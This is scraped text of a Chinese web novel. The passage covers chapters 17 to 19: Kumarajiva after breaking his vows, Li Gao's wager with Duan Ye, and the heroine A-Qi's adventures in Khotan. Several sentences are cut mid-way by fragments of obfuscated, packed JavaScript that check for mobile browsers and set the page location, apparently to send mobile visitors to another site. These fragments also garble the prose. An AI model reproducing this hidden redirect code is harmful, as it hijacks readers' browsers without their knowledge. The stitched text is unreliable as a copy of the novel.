0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582740|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看好鸠摩罗什,事办不成,就给我滚去沙漠杀敌。” 吕纂悻悻离去。 一夜的喧嚣,宴会终于不欢而散。 天光渐亮的龟兹王宫,难得有片刻宁静。 红烛燃烧殆尽,当清晨第一缕晨光洒进昏暗的室内,宿醉的人微睁双眼,头疼欲裂。 红纱罗帐,熏香缭绕,手臂上传来异样的触感,长长的青丝缠绕,有温暖的身体正贴在他身侧,鸠摩罗什心里先是一惊,随即沉了下去。 昨夜,他破了戒。 自幼母亲带他修习佛法,每日吃斋受戒,然而他不仅饮了酒,乐歌舞,高床软枕熏香璎珞,还破了淫戒,鸠摩罗什猛地撑起身体,一眼不敢再看,披上僧衣面壁打坐。 动静惊醒了身旁的女子,阿竭耶转醒瞬间回忆起一切,裹着被子缩向另外的角落,纷乱的情绪在心中翻滚,想要解释可是不敢张口。 幔帐轻轻摇曳,旖旎香气无法消散,像是提醒着昨夜的真实,一场欢愉,让不大的空间透着堕落的绝望,缠绵在一起的人成了最无法面对的男女。 阿竭耶打破了沉默,“我……” 话到嘴边又咽下,背对她的身影一动未动,在她看不到的另一面,鸠摩罗什手指正快速拨动佛珠,双眼紧闭,一遍遍默念经文: 彼到第一处,无死无生处。 莫饮无明酒,能为众苦因。 声闻住明脱,犹是醉归人。 若是病苦时,应当观病本。 从痴有爱生,习业招病果。 死入冰池狱,八千万岁苦。 皮肉皆破裂,日夜百死生。 阿竭耶听他的诵经声越来越快,越来越大,越来越可怖,终于体会到事态的严重和国师内心的起伏,面对哪怕是清醒后的鸠摩罗什背影,阿竭耶也再不敢像昨夜那般无所顾忌。 她匍匐跪地哭泣,“国师,别念了,昨日都是阿竭耶的过错,我愿下地狱受业火,求您别念了。” 哭泣的声音混在诵经声里,气氛诡异又沉重。 “阿弥陀佛……” 背对着她的鸠摩罗什转过身,无波的眼神深沉黯然。他双手合十,“罪业因缘,皆有因果,公主受解苦,罗什当堕阿鼻地狱。” 一句佛偈语后,孱弱的僧人扶着床橼踉跄起身,披好身上的袈裟,避开阿竭耶朝门口而去。门被由外锁住,鸠摩罗什出不去,求见吕光,无人应答。 昏暗的婚房,在片刻死寂后,门外总算有人送进来些吃食,在不怀好意地窥视后,有男子的嗤笑越走越远。婚房内有净室,吕光是成心要将他们关在这里几日,鸠摩罗什心念般若波罗密。 “色不异空,空不异色,色即是空,空即是色。受想行识,亦复如是。” 当初质问吕光那句,“鸠摩罗什若与你离去,大将军可愿还龟兹太平?” 到如今,他的无言抗争什么都没改变,故土沦落,众生流离,在当权之人眼中,佛法无边与百姓生死不如蝼蚁,他的破戒倒是点醒了鸠摩罗什,囿于污泥,心向莲花,或许他该先下地狱,再以身度地狱。 窗外朝阳初现,看不到佛塔上的圣光。眼前只有一个泪落如雨的女子,取过饼馕,鸠摩罗什将餐盘轻轻推过去,对阿竭耶温言:“吃吧。” 17. 赌约 已入六月,玉殊宫花木繁盛,晚风来急。 雏鹰落到花枝上,震得花落如雪,白衣男子走在落花铺地的小院,取下苍劼脚下的信笺,一片戴玉木牍映入眼帘。 “随行抵于阗,人货皆安。 风沙席龟兹,奉兄珍重。 六月初九。” 早已熟悉的秀丽笔锋,玄盛仿佛能看到伏案握笔的女子,墨香未尽,字里行间显然不是出自他的二弟之笔。 宋繇与他同母所生,玄盛是遗腹子,自幼玄盛由李氏族长带大,宋繇则是母亲改嫁宋氏之后所出。北方中原民风开放豁达,虽不比游牧民族丧夫女子被子弟继承,但也不限制她们再嫁。宋繇之父是前朝龙骧将军,娶了李暠的母亲后,没多久也去世了,母亲便将宋繇送到了敦煌,让兄弟二人彼此扶助。一晃十年,跟随他出入大漠的少年,已成了他最得力的左膀右臂。 背面又是一行熟悉的精绝小字。 “南朝四百八十寺,楼台烟雨待罗什。” 身后有脚步声走近,稷默默站在李暠身后,见他一动未动未敢打扰。待他看到郎君转身,眉头微微蹙着,幽深的双目不怒自威,稷这才恭敬地对眼前之主行礼。 “吕光将立龟兹王弟白震为新王。” 玄盛看着夜幕繁花的美景,没有丝毫惊诧,淡淡一笑,“白纯性喜奢靡,好大喜功,整日以西域强国万邦来朝自居,不自量力,怎不招惹吕光觊觎?” “白震受玄玉阁暗中相助多年,他上位省了我们很多事。” 李暠并无喜色,“那边如何?” “苻坚的圣旨不日将达,玄羽衣已经护白纯离开,粮草也已备齐,只是属下不懂,白纯向来与玄玉阁不合,主人为什么如此帮他?” 自从追随玄玉阁,这恐怕是稷说话最多的一次了,此番动用的辎重可谓倾城之力,即便是对李暠而言也是极大的风险。 玄盛手中把玩一支小小的木牍,“我并非帮他。” “桓公问于管子曰:‘吾欲制衡山之术,为之奈何?’” 稷不解其意,他从未质疑过主人的决定,只是觉得主人最近多思,竟放弃原来的计划与吕光暗中结盟。 “西征大军势如破竹,白纯在龟兹本是死局,即使我们提前到达亦难盘活,不如听她所言,以制衡山之术另辟蹊径。”主人口中的她是谁,稷自然知晓。 夏至六月,商队抵达于阗,那么她也该离去了吧? 翻天覆地的龟兹,在吕光的铁腕强权中渐渐稳定下来。自吕光破龟兹后,王位之争颇受人瞩目,白纯弃城出逃,正当西征将士都以为大将军可能摄政为王的时候,大秦天王苻坚的信使及时赶到,宣读圣旨:“安西大将军平定西域功勋卓越,升任西域节度使,加封顺乡侯。” 吕光领赏谢恩,为了安抚龟兹,拥立白纯之弟白震为新龟兹王,自此西域三十六国大半归顺大秦,征西军声势浩荡。 正当局势再次陷入混乱之际,国师鸠摩罗什走到人前。一改往日落魄萧索,新婚七日的大法师要公开坐禅讲法,全城哗然。 碧空万里的天山脚下,苍颉盘旋于宫宇庙堂之上,远在漠北龟兹玉殊宫的白衣玄盛,临窗而立,闻钟鸣佛音缭绕,望远处香火重燃,他对吕光的应变倒刮目相看。 两日未再收到她的信,记得那日女子面纱浸染狼血,双眼璀璨惊人,火光下已是强弩之末,却还护着身后的猎犬,一个说精绝语的孤女,一个会写诗经的祖慕祇,当真耐人寻味。 龟兹,大佛寺中。 当身着光鲜的鸠摩罗什出现在大庭广众之下,百姓眼神复杂,都说国师不仅坐在高堂饮酒,还与昔日的公主阿竭耶成了婚,原本没人愿意相信,直到众人亲眼见到鸠摩罗什出现在大佛寺,与鸠摩罗什一同出现的,还有身穿红衣的龟兹公主阿竭耶。 人群一片哗然,终是信了谣言。 他们身边跟着笑得邪恶的吕纂,不知从何处突然飞过来一个东西,砸到鸠摩罗什的身上,那是半块饼子,虽然砸得不疼,但是阿竭耶委屈涌上心头,她和鸠摩罗什都不再是以前受人民仰视的公主和国师了。紧接着,人群中扔出的东西越来越多,跟随而来的吕纂本来想看好戏,不知是有人故意还是被连累的,也被不轻不重地遭砸了烂果子,这才发怒下令士兵赶人。 冷眼旁观这一幕的,人群后的高台角落静立两人。老者看了眼立于他身旁的白衣郎君,讪讪道:“玄盛,好大的手笔。” 白衣人如云中皎月,浅笑令人如沐春风,身姿挺拔,足足高出段业一头,听闻后似有不解,“段大人何意?” 既然同意私下见面,混在这样嘈杂的人群里,便无需再藏着掖着,段业呵呵轻笑,手不自觉地捋着他稀疏的胡须,“延城守卫森严,玄盛这么快找到白纯,还能将人送出重围,果然手眼通天,老朽佩服。” “说起手眼通天,段大人不遑多让。” 玄盛深褐色的深目一沉,话有所指,“听闻段大人善卦能洞悉乾坤,翻云覆雨,最近延城有匈奴人势力,段大人是否早未卜先知?” 玄玉阁在大漠的势力深不可测,没想到在吕光的眼皮底下,他的眼线也无处不在。 “在下不过一个小小参军,玄盛何出此言?” 他捋着胡子,望向身边清贵的后生,面上泰然。 玄盛一笑,“大人谏言大将军,释放鸠摩罗什坐禅讲法,此举甚妙。” “段某素来信道,无论道家还是佛法,修心度人,大善也。”段业看着好像光风霁月之人,没承认也没否认。 这时,游行的人传来一阵骚动。 原来被吕纂士兵击打的人群中有个少年,捡起一坨骆驼粪,朝台上丢了过去,鸠摩罗什忙挡在公主身前,然而骆驼粪并未砸中他们,却刚好丢在一个征西军士兵的头上。 鸠摩罗什挺直背脊,双手合十在原地,“阿弥陀佛。” 一瞬间,场面骚乱起来。 征西军挥动着鞭子,朝那孩子抽去。更多的士兵不得不上前制服骚乱的人群,现在大佛寺塔楼之上的二人,冷眼旁观这场面,一时无语。 段业居高临下地看着人群被扭压跪地,老人和妇孺唉声求饶,兵士正甩着鞭子,一下下抽在闹事少年身上,少年毫无章法地挣扎反抗,用龟兹语咒骂着一切,他身边没有父母护着,只是一个家破人亡的可怜人。 段业看了眼那孩子,说:“你看那孩子的眼睛。” 玄盛没有立即搭话,他知道这场面不过是为了羞辱鸠摩罗什,同时杀鸡骇猴,教训这些亡国奴,作为旁观者的玄盛不由皱起眉头,“道尽途穷,非上策也。” 话未落,瘦弱的少年突然迸发出巨大的能量,一头将强壮的士兵撞倒,毫无章法地攻击侵占他们家园的征西军,慌乱中竟然让他得了手,少年双眼冒出嗜血的杀意,瞬间几把刀剑袭来,少年毫不畏惧,撞上刀剑,血花四溅,瘦弱的身躯应声倒下。 四周风吹树动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597504|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,百姓暴乱,反被无情镇压,亡国奴役般的悲戚声,到处是血红。一丈开外的拥挤人群中,鸠摩罗什缓缓唱诵起经文: “大悲陀罗尼, 十方师即来为作证, 一切罪障悉皆灭, 一切罪恶悉皆尽。 一花一世界, 一草一天堂, 一叶一如来, 一砂一极乐, 一方一净土, 一笑一尘缘, 一念一清静。” 随着唱经声起,人群中应和之声越来越多,众人应和着诵经,仿佛回到了和平繁华的昨日。静心佛法安抚了喧嚣和愤怒,骚乱渐渐得到控制,征西军停下杀戮,龟兹人从嘶喊到哭泣,默默地像往日一样高声颂喝,感禅悟道,世间皆苦,万物因果。 百姓的尸首被拖了下去,满地血腥。 高台上的二人看着这一幕,仿佛看到了千百万熟悉的画面。乱世百年,玄盛轻叹:“这世间,或乱世枭雄,或羸弱少年,或传道法师,都可能拥有比钢刀利刃所不能战胜的力量。” 段业显露出一副悲戚的神情,长叹一声。 “段某昨日占了一卦,大秦与东晋一战,危矣。” 玄盛看着他神色微敛,“段大人,慎言。” 吕光西征西域气势正盛,大秦在中原势力如日中天,八十万大军讨伐东晋残兵,志在必得,李暠不由得想起那女子飞鹰送来的预言。段业看不出他的心思,直言:“主上一统北方前燕、仇池、凉州,南下灭晋,轻敌却是大忌。” 他眼神看向端坐法座之上的鸠摩罗什,“龟兹王虽然败走,但是只要这位国师还在,龟兹国就不会真正灭亡……南朝司马曜虽年少即位,东晋偏安江南,百足之虫死而不僵,这些年远离北方战乱,又有谢安等老臣运筹帷幄,然而大秦大军各自为营,此番跨长江天险攻打旧朝,未必能讨到什么好处。” 玄盛明白他的意思,“骄兵必败,轻敌恐亡。” 眼前威严俊美的玄玉阁阁主,有几分郑重神色,段业也不再绕圈子,“段某昨日所占之卦,乃水山蹇卦,‘大雨倾地雪满天,路上行人苦又寒,拖泥带水费尽力,事不遂心且耐烦’。上卦有水下卦山,水流而下,身在此山岂不危乎?依老夫所见,眼下东征凶多吉少。” 玄盛是极少数没有立刻嘲笑段业的人,任谁也不会相信,八十万大军会败给东晋的七万军队。 “大秦兵强马壮,然军心涣散,背水一战的晋军,反而占了天时地利人和,输赢确实有悬念。” 段业捻起一捋胡须:“天下归心,为时尚早。鱼不可脱于渊,所谓孤掌难鸣,玄盛何不相约同行?” 玄盛未置可否,“一命,二运,三人为。既然命在前,自然先要看天道。” 段业笑道:“那是自然……既如此,倒不如你我打个赌,若段某赢了,那你我同道就是天意。” 这人拉拢之意明显,可话中却暗藏歧义,“你我同道”而非与吕光同道,玄盛深深看了眼段业这人一眼,其人年纪不惑,不过是吕光麾下的谋士幕僚,李暠以为他是吕光的说客,既然“无心”妄言,那便是有意为之了。 “倒是有趣,段兄想赌什么?” 从段大人到段兄的称谓变化,可见玄盛有联盟之心,段业眉开眼笑,故弄玄虚地说:“占卜卦象,东升西降。若东晋赢了,西域降了,就算是天意促合如何?” “甚好,击掌为誓。” 18. 于阗琅 于阗,和田城。 于阗,和田城。 隔了一千六百多年的漫长光阴,也许是历史的奇妙,也许是与真实历史人物的纠葛,辛薇与祖慕海的灵魂神奇的合二为一,身在繁华玉石之城的于阗,恍如隔世。 阿祇住在李暠的城郊别院,这里依山傍水,风景宜人。这座中原风格的别院虽不及于阗王宫华美,但坐落在喀什河畔的绿洲处别具一格,亭阁楼宇,巍然崇举。 天色渐黑,廊下的灯笼被点燃悬挂。 室内,昏黄的烛光摇曳,她坐在矮几旁拿着笔发呆。一个年轻的女孩站在门外,怯生生地问:“阿姊,有什么吩咐吗?” “米耶,这里不用伺候。” 阿祇微笑地看着来人,这个十五岁的于阗少女是玄玉阁派来伺候她的侍女,商队这两日忙于交接无暇顾及她,别院管家便派了米耶过来。 自从决定采玉祭后离开商队,阿祇想尽快处理好手上的文书,所以来了几日也不曾踏出府门。 努尔不喜欢待在屋子里,它喜欢人多热闹。主人每天要看太多账目,不让它碰玉石瓷器,自从来了米耶,陪着狗子在外面疯跑,让阿祇省了很多心。 “努尔没有再闯祸吧?” 阿祇想起这个小家伙就有些头疼。 第一天,努尔就准确找到了厨房的位置,在阿祇的床铺下藏了几根羊骨;第二天,努尔上蹿下跳,打碎了几个茶杯瓷碗,第三天,跑到湖边不见踪影。 米耶摇头,羞涩一笑,“努尔正在湖边玩耍,还捉了条鱼。”她的汉文生涩,但声音甜美。 阿祇感激道:“多谢米耶。” 米耶摇摇头脸上羞涩,对温柔和气的阿祇微微屈身,眼神扫过她额间的印记,闪过一抹不易察觉的凝视。阿祇跪坐矮塌前,拿起那里摆放的一支木牍,第无数次翻看那两行字: “将归。以琅玕赠祇,作谢。六月十九。” 手心里攥着的正是那颗随信寄来的小小琅玕宝石。阿祇看这圆润光泽的玉石,小巧如珠,就是传说中的琅玕,李暠送给自己当作酬谢的礼物? “美人赠我金琅玕,何以报之双玉盘。”(注:汉·张衡《四愁诗》)看来事情一切顺利。 如果赶上七月十五的采玉祭,或许有机会告个别,但如果他经龟兹西行莎车、疏勒,到达和田城至少半月路程,那么她离开于阗的时候,恐怕无缘再见了。 这些日子,宋繇已将回信全权交给了她处理,阿祇手里摩挲着温润的玉珠,犹豫片刻,取过一片崭新的木牍,执笔写下: “于阗诸事皆顺,勿念。 路途迢迢,奉兄平安。 六月二十。” 近两个月的传书,随着木牍字数的增多,语气变得熟稔,可是这对她来说并非好事,终究是要离开,也许有一天还要离开这个世界。 她为李暠破了不干预历史的例,起初只是替他兄弟代笔,今日当她看到“琅玕赠祇”,才发觉何时与李暠信中所诉,不知不觉违背了初心。 手中握着木牍怔忡,烛火蹦出一个火花,蜡油堆满灯台,夜已深。阿祇将木牍送到嘴边,轻轻吹干墨迹,如第一次传信时所做,取下玄字玉佩挂在新的木牍孔洞,收好入传信木桶。 李暠,后会无期。 …………………………………………………… 于阗国地处昆仑山脉脚下,春夏被雪水融化的两条白玉河与墨玉河滋润,土地肥沃,原石的丰富资源让生活在这片绿洲的人们富饶安逸。不同胡人的高鼻深目,这里的男女肤色虽略深,长相与汉人相似,五官更加立体,于阗人崇尚白色和蓝色的衣着,贵族王室才能穿戴红色和金色。 虽然和田玉石闻名天下,但是于阗女子却特别钟爱绿松石,从头到脚的饰品几乎都是莹润绿色,她们大多能歌善舞,民风洒脱。 这天清早,米耶送来了崭新的衣裙和一些银钱,带话说近日繁忙,明日再带阿祇去玄玉阁巡视。 阿祇完成最后一批账目,看到小娘子在门外。 “米耶,今日带我出去走走,好不好?” 米耶有些犯难,“宋掌事没说让我带阿秭出门。” 阿祇道:“那他有说过,不许我出门吗?” 小娘子想了想,摇头道:“好像也没有。” 阿祇听她语气动摇,忙追问:“我有正事要找郭管事,你知道他们在哪吗?” 米耶说:“各位管事应该还在驿站那边,我带阿秭过去,但阿秭不能一个人乱跑。” 阿祇露出笑容,“都听米耶的。” 西域诸国历史上曾役属于匈奴,张骞通西域之后,汉朝的势力进入西域建立都护府,与匈奴奴役征收重税不同,都护府以保护城邦国为主,鼓励通商贸易,直到汉朝灭亡,中原大乱,原都护府的军事职能才渐渐被商贸、通信、食宿、换马的驿站所代替。 当阿祇走出大门,才惊叹古代文明的繁荣。 主道上砌着青石小路,四周商铺琳琅热闹,忙里忙外的人穿着各异,直到走近驿站,越来越多的“玄”字印标的伙计忙碌,这里俨然一条分阁商业街,如同广博会规模的外场,什么打扮的人都有,牵着骆驼和马匹穿梭其中,除了贩卖交易,还不乏秦楼楚馆。 阿祇没有刻意掩饰女子身份,一身带头巾的亚麻于阗衣裙,清新利落,西域民风开放,民族混杂,各色人见怪不怪。 “阿秭,这里人多嘈杂,我带你到后面去。” 米耶拉着阿祇的手,正要带她走玄玉阁的后门,阿祇凑到她耳边说:“不急,我想四处看看。” 这么真实的历史场景,她怎么能错过呢? “娘子,来串绿松石项链吧,配上你们美丽的容颜,比天山上的雪莲更加娇艳。”一个带着口音的卷发胖商贩对她们二人说。 米耶拉着阿祇就要走,阿祇兴致正浓,在那人的摊位前扫了一眼,“那个怎么卖?” 她看中的是一个龟壳,古朴小巧,上面刻着象形文字,在一堆璀璨美丽的珠宝饰品之中,显得平淡无奇。 “好眼光,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597505|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是独一无二的稀世珍宝。”商贩立刻换下手中的绿松石,捧起那个龟壳。 阿祇之前就发现摊主把龟壳仍在角落里,走过的客人也无人问津,大胡子要么拿起玉石,要么红宝石炫耀,女客本来就少,对龟壳更兴趣全无。 “这龟壳看着有趣,若是稀世珍宝,我是不敢要的。”阿祇转身假意离开。 大胡子眼睛一转,忙解释:“我这里自然都是物美价廉的好东西,娘子随便挑选,‘麟、凤、龟、龙,谓之四灵’,龟又有长寿之意,若你喜欢,只要一个金叶。” “龟是上古四灵中唯一真实存在的生物,可惜,这原本是闭壳龟的灵甲,缺损失了一角。”金叶虽小一片仍是珍贵,阿祇不得不拿出杀价手段,“不瞒大叔,我身上只有些许孔币,你看能不能便宜些。” 大胡子看出来她有心,于是市侩起来,“那可不行,小娘子还是看看别的东西吧。” 阿祇不急,几日闲来无事,正巧通读了于阗法令,“贩卖偷盗抢劫之物,殉葬陪葬之物,官可没收商贩全部财物永久驱逐,这龟壳内刻姜羌印刻,我曾听闻凉州百年前曾有一大贤名唤姜羌,善古玩道统,其所藏之物大多陪葬于地下。” 商贩额头瞬间冒汗,“不过四处收来的玩意,小娘子既有缘就报个诚心价。” 驿站大多以物换物,宋繇大方地给她发了两片金叶的俸禄,米耶体贴地给她换了一片金叶的等价钱币,没想到有上百枚西域通用方孔币。 米耶看阿祇对新入手的龟壳爱不释手,有点不可理解,从来没见过女子喜欢这些简陋的物件,看出了些门道,她连忙助攻道:“二十个孔币。” 商贩常年倒卖古玩,不想惹麻烦,“成交。” 大胡子胖商贩出了一身冷汗,双手奉上,顺便送上阿祇另外看中的几根银丝绳。阿祇本想多给几个币,看到米耶朝她眨了眨眼,她开心地从隔壁摊子买了一串臂钏,套在米耶的手臂上,“米耶,给你的奖励。” 米耶最喜欢这种黄澄澄的鲜花臂钏,她不懂为什么阿姊对死掉的乌龟壳感兴趣,但只要是阿姊喜欢的,她就喜欢,“谢谢阿秭,但我们要这龟壳做什么?” 阿祇抿嘴一笑,把龟壳在她眼前晃了晃,故弄玄虚地在她耳边说:“天机不可泄露。” 米耶闪着大眼睛,来不及多问,手里又被她塞了几个孔币,“走,阿秭带你买好吃的去。” 她们兜转了一圈,米耶收获不少。她平日并不出门,得了好些赏赐,心情也是不错,二人朝街后走去,那边是玄玉阁商队的休憩卸货之所。 这条街熙熙攘攘,她们路过一间红楼,门口甚是热闹,围了几层人,从中有有男有女的声音,阿祇起初并不在意,已经望到了商队所在,却被人拉着往回走。 “米耶,你要带我去哪?” “阿姊,那里是红楼。” 阿祇还未来得及问红楼是什么地方,前面好像有人已经发现了她们,拉扯中有人忽然指着她二人,大喊:“我女人来了,就是她!” 19. 李四郎 “我女人来了,就是她!” 阿祇不知道发生了什么,被人堵在红楼门口,所有人都看向自己,红楼艳丽多姿的女人们立刻将她二人团团围住,身材最妖娆的女子浓浓妆容,风韵百转,上下打量阿祇。今日阿祇不施粉黛,简单束了个发辫,遮面的素色衣裙低调保守,额间的暗红花钿若隐若现。 妖娆女子半掩的绫罗衣裙踏着风情的步子,暗自打量,混迹红尘的男人不好拿捏,但对付青涩的小娘子她却拿手,她挺起胸脯挤到阿祇面前,米耶见状低下头退后一步,实在是女子薄透的衣料下波涛汹涌,让十三四岁的小娘子看了脸红。 异域腔调的声音勾人酥软,为首的丰腴妖娆女子用蹩脚的汉文道:“你,就是李四郎的女人?” 阿祇呆愣在女子面前,真是人在街中走,锅从天上降。她刚要否认,女人堆里冲出一个男人,猛地跪倒抱紧她的小腿,哭号:“娘子情深意重,以前都是我糊涂,要打要骂随你,切莫要不认我啊!” 阿祇惊讶地看脚上粘着的人,手捂着半边脸,指缝间朝她拼命眨眼睛,要打要骂随她的意思。呃……还真是熟人,这不是小李管事,李瑾? 戏码有点狗血,小李管事情绪很到位,看来惹上了桃花债。阿祇不欲管,奈何李瑾抱得像只树袋熊,纠缠得极是认真,快速低语:“四片金叶。” 阿祇语塞,这个出场费相当于文书两个月的俸禄。她有些心动,可对渣男没什么拯救兴趣,想拒绝,李瑾跟会读心术似的,赶忙咬牙又小声说:“五片。” “成交。” 没想到自己也有为五斗米折腰的时候,阿祇鄙视自己,但去精绝是需要盘缠的。 这时候,米耶也认出了自家小主子,脸色变了又变,没敢说话,眼看围观的人多了起来,念在同行的情谊和金叶的面子上,阿祇终于开始了她的表演。 怨女悲苦,她痴心控诉:“你我无缘,何苦纠缠。” 浪子回头,瞬间接戏,“娘子千里追随非四郎不嫁,情深意重!过去是我糊涂,我李瑾发誓,此后余生只娘子一人。”这种戏码人设很重要。 阿祇决绝冷言道:“四郎处处留情,实非良人。” “父亲说了若我敢辜负娘子,他就要活活打死我,就算打不死,岳父说他也会活剐了我……和野女人们。” 李瑾拖着她的小腿忏悔哭诉,若不是曾亲眼见他曾无惧黑风暴,搬石头,赶牲畜的拼命样子,她差点就信了他现在这副纨绔的样子。 妖娆女子用于阗语解释给红楼女人,什么是“野女人”,什么是“活剐”,吓得她们花容失色,听说中原礼教森严,没想到男女你情我愿的事情,还能被别人阿达(父亲)打死?她们不由怨恨地瞪向阿祇,妖娆女子尤为愤恨。 李瑾年少轻狂,惯会花言巧语地戏弄漂亮姐姐,惹了桃花债转眼就跑。妖娆女子很喜欢这个中原少年,为了他学了一年汉文,好不容易才等到玄玉阁的商队回来,她说:“四郎说,我长得美,你最喜欢看我跳舞,你对我好,可你阿达不喜欢舞姬,我不在乎名分,我要跟着四郎。” 阿祇满头黑线,心里苦。 她“悲愤”地看向李瑾,李瑾拨浪鼓似的摇头,赶紧解释说:“都怪我年少无知。” 阿祇是一个有职业道德的伙伴,接收到李瑾拼命乞求的神色,她演技加持,如痴心烈妇般戚戚然道:“别说十年,就算百年,他也只能娶我一人入门。” 苍天啊,这个李瑾自作孽,她可不是在咒他。 李四郎立刻接戏,“苍天在上,我李瑾绝不负娘子。” 妖娆女子贴过来要握李瑾的手臂,李四郎丝滑地躲在阿祇身后,像被欺负了的小狗,妖娆女子委屈地说:“四郎,你以前可不是这样的。” 李瑾探出脑袋,对诸位红粉知己求饶:“姊姊们,以前是我不对,李氏以礼为训我也受了家法,有了婚约再容不下荒唐,我李瑾已对天发誓不负我娘子,不然,会被天打雷劈的。” 西域人重承诺,李四郎可从未对她们说过如此誓言。明知他在做戏,阿祇也不得不为李瑾的演技叫好,怪不得小李管事才出塞西域几次,就能让诸多女子牵挂,果然手段了得。 李瑾眨了眨眼,阿祇意会做感动状。 妖娆女子敢爱敢恨,嫉妒这个汉人女子不肯放弃:“你叫什么名字?四郎发誓,你也敢发誓吗?” 阿祇想认怂,她真不想发这个誓,可李瑾眼巴巴地看着她,若不是欠商队人情,若不是李瑾帮过她,若不是看在那五片金叶子的份上,她还真想对西域美女说:“打包你的四郎,好走不送。” 她真的不想发誓啊。 这时李瑾站了出来,郑重道:“我们有父母做主,媒妁之言!我娘子乃凉州尹氏嫡女,与我早有婚约,千里迢迢而来四郎不能负她,诸位秭秭对不住了。” 李瑾奉上一袋金叶子,赠与红楼。 西域风尘女子豪爽奔放,你情我愿的本来就是场交易,也不知李瑾过去给这女子灌了什么迷魂汤,也不管人家芳心碎一地,李四郎不失优雅地行礼致歉,出手又大方,西域女子有人带头收金叶子,人也就渐渐散了。妖娆女子认清现实,她没有收李瑾的金子,却接受了无缘的事实,洒脱又干脆。 李瑾行礼,执阿祇的手离去。 那袋金叶子沉甸甸的,身为主角自己竟然没有两百零八万的认知,五片金叶子,她就出场拳打一众红粉,挽回花心渣男?李瑾拉着懊恼中的娘子,边走边贴心地说:“放心,回去给你翻倍红利。” 米耶原地傻愣地搞不清状况,刚才到底发生了什么,等她反应过来,赶紧追逐一男一女而去,这场大戏才算真正结束。 相谐的身影看似结局美好,阿祇忍不住低声对李瑾说:“走错路了,我去那边。” 李四郎温柔地任她驱使,像在说悄悄话:“悉听娘子尊便。”他拉着她拐了一个弯,如翩翩郎君般体贴,与阿祇并肩离红楼越来越远,阿祇想甩开他的手,却被他握的更紧。 阿祇:“小李管事,够了。” 李瑾:“不可以,她还在看。” 阿祇:“小李管事,经验丰富。” 李瑾:“娘子,叫我四郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612197|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 阿祇:“呵呵,‘四郎’,我还‘胖橘’嘞。” 李瑾:……(什么梗) 阿祇:(什么梗,不重要。) 李瑾:“我愿以身相许,以报娘子。” 阿祇:“我不是你的娘子,是你的恩人。” 李瑾:“恩人,更要报。” 阿祇气结:“李瑾!” 李瑾:“娘子,叫我四郎。” 阿祇:“胖橘……” 陷入死循环。 红楼里的鼓点一起,欢快的音乐传出,艳丽的于阗女子又载歌载舞起来。米耶回头看了眼红楼,然后跟着主子身后听他们窃窃私语,这才想起宋掌事交待过,让阿秭离小李管事有多远躲多远,最好不见。 驿站的后院。 玄字号的伙计忙碌有序地穿梭在商队与驿站之间,有照顾骆驼和马匹的,有些在卸货点货,有些归纳库房,郭谦是商队护卫的统领,与李家部曲的配置不同,护卫里有很多家生子,他们的随商队走南闯北,多走在明面上。 郭统领看到李瑾和阿祇前后走进来,乐呵呵地迎接,“你们怎么一起来了?” 两人异口不同声道: “碰巧。” “缘分。” 两人相视,神色各异。 郭统领一个眉毛翘老高地看着李瑾和阿祇,只觉这孩子老毛病又犯了,好在阿祇娘子个性坚韧,人也稳重,不理会这小子的巧言令色。他瞪了那小子一眼,“回去我就跟你父亲说,赶紧给你定个娘子,收收性子。” 李瑾嬉皮笑脸,“郭叔父,现在外面都知道,她是我的娘子了。” 郭谦了解他的脾性,但也不容他拿女子名节开玩笑,“你脸皮厚也就算了,女子的名声重要。” 李瑾半真半假地撒娇,“只要她愿意,我回去就娶她。” 郭谦头疼,“胡闹!婚姻之事岂能儿戏?” 阿祇嘴角一抽,不得已打断二人。 “郭统领,今日来找您,是有事相求。” 李四郎靠过来,笑在眼睛里,“有什么事,娘……阿祇,求我就好了。”郭谦在他身后踢了脚,把人扔到一边,“阿祇,请说。” “郭统领能否推荐路过精绝的商队?我想搭个伴一起。”李瑾脸色一变,打断她,“什么意思?你要走?” 郭谦也正色皱眉,他知道家主的打算,迟疑了一下,“想清楚了,要走?” “玄郎君收留我的时候答应,我到了于阗去留自便。天下没有不散的宴席,我会亲自向宋掌事辞行。” 李瑾神色明显不悦,“你孤身一人,万一再遇到危险怎么办?” 阿祇礼貌地谢道:“多谢小李管事关心。” 